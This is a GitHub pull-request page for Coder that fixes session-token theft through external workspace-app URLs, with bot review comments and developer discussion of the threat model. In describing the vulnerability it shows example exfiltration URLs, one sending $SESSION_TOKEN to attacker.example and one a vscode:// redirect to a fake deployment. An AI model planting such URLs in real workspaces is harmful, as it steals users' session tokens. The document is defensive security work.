fix: prevent session token exfiltration via external app URLs#26146
Conversation
|
/coder-agents-review |
|
Chat: Review in progress | View chat deep-review v0.7.1 | Round 1 | Last posted: Round 1, 2 findings (1 P2, 1 P3), COMMENT. Review Finding inventoryFindings
Round logRound 1About deep-reviewCRF = Coder Review Finding (P0-P4, Nit, Note)
|
![coder-agents-review[bot]](https://avatars.githubusercontent.com/in/3454270?s=60&v=4){kind=small}
There was a problem hiding this comment.
First-pass review (Netero). These are mechanical findings only; the full review panel has not yet reviewed this PR. The panel will review after these findings are addressed.
Security fix that gates $SESSION_TOKEN substitution in external workspace-app URLs to a scheme allowlist. The approach is clean and test coverage is solid (3.25:1 test-to-production ratio, 6 integration subtests covering allowed schemes, disallowed schemes, and the attack vector). Good use of a shared package for the allowlist logic.
Findings: 1 P2, 1 P3.
"They use different formats (Go: bare scheme
"vscode", TS: protocol string"vscode:"), neither file references the other, and there is no test or lint that detects drift." (Netero)
🤖 This review was automatically generated with Coder Agents.
Documentation CheckUpdates Needed
No additional documentation changes needed. The removal is appropriate: Automated review via Coder Agents |
Docs preview📖 View docs preview for |
mafredri
left a comment
mafredri
left a comment
There was a problem hiding this comment.
Is this fix actually sufficient to protect against a malicious template author? What if I created a coder_app that simply sets the url to vscode://coder.coder-remote/open?owner=...&workspace=...&url=https://malicious-coder.maf&token=$SESSION_TOKEN?
This would configure the VS Code extension to try to login to authenticate with my malicious/fake coder deployment with the provided token. Wouldn't that allow exfiltration just the same?
|
What if we didn't automatically open any external URL via |
|
Discussed with @johnstcn and the dev container attack vector could be patched by turning all apps belonging to a sub-agent into untrusted apps (no auto-open). |
|
I really like the suggestion to remove trust for apps that belong to a sub-agent entirely. I am going to proceed with that approach because it's simpler and a more complete fix that addresses the attack vector (malicious registration of an external app from within a workspace). A malicious template author that adds a bogus external app would still be trusted, but that's a different threat model imo. |
zedkipp
force-pushed
the
zedkipp/plat-266-token-leak
branch
from
c2f3460 to
cd2a415
Compare
zedkipp
changed the title
`coder open app` previously substituted the user's session token into any external workspace-app URL containing $SESSION_TOKEN before dispatching it to the OS open handler, regardless of the URL's host, scheme, or the app's provenance. A malicious workspace could register a sub-agent app pointing at `https://attacker.example/?t=$SESSION_TOKEN` and exfiltrate the session token the moment the user ran `coder open app`. Gate token substitution by app provenance. Sub-agent apps are attacker-influenceable through workspace configuration (devcontainer.json) and runtime registration, so the CLI no longer substitutes the user's session token into their URLs. If such a URL still contains the $SESSION_TOKEN placeholder, the CLI prints a warning before opening so the user knows the literal placeholder will be passed through unchanged. The URLs still open, but no real token is sent. This also neutralizes scheme-handler URL-redirect attacks for sub-agent apps, for example a malicious vscode://coder.coder-remote/open URL with an attacker-controlled url= parameter. Top-level agent apps come from the workspace template, which is admin-authored and vetted at import. Substitution continues unchanged for those URLs.
zedkipp
force-pushed
the
zedkipp/plat-266-token-leak
branch
from
cd2a415 to
e46b922
Compare
There was a problem hiding this comment.
This will produce the URL with the $SESSION_TOKEN placeholder still present; this probably won't work. Our options:
- Leave as-is -> likely to fail with "invalid session token" error (depends on how the external app handles it)
- Strip it -> URL may still not work
- Still insert the placeholder, but print it to stdout instead of automatically opening it -> user now can inspect it before visiting the link.
There was a problem hiding this comment.
I went with option 3), but I also went with omitting the substitution of the placeholder when outside the workspace. I felt like that was pragmatic because the user can easily substitute $(coder login token) and we can avoid putting the token in shell history.
…resent Sub-agent app URLs that don't reference $SESSION_TOKEN carry no token to leak via `coder open app`. Restrict the no-auto-open gate to sub-agent URLs that still contain the literal placeholder; sub-agent URLs without the placeholder open like ordinary external apps.
4 participants
coder open appsubstituted the user's session token into any external workspace-app URL containing$SESSION_TOKENbefore opening, letting a malicious sub-agent exfiltrate the token via a URL likehttps://attacker.example/?t=$SESSION_TOKEN.Substitution is now restricted to URLs from top-level (template-authored) agents. Sub-agent URLs that still contain
$SESSION_TOKENare printed for the user to inspect and substitute manually rather than opened automatically. Sub-agent URLs without the placeholder are unaffected.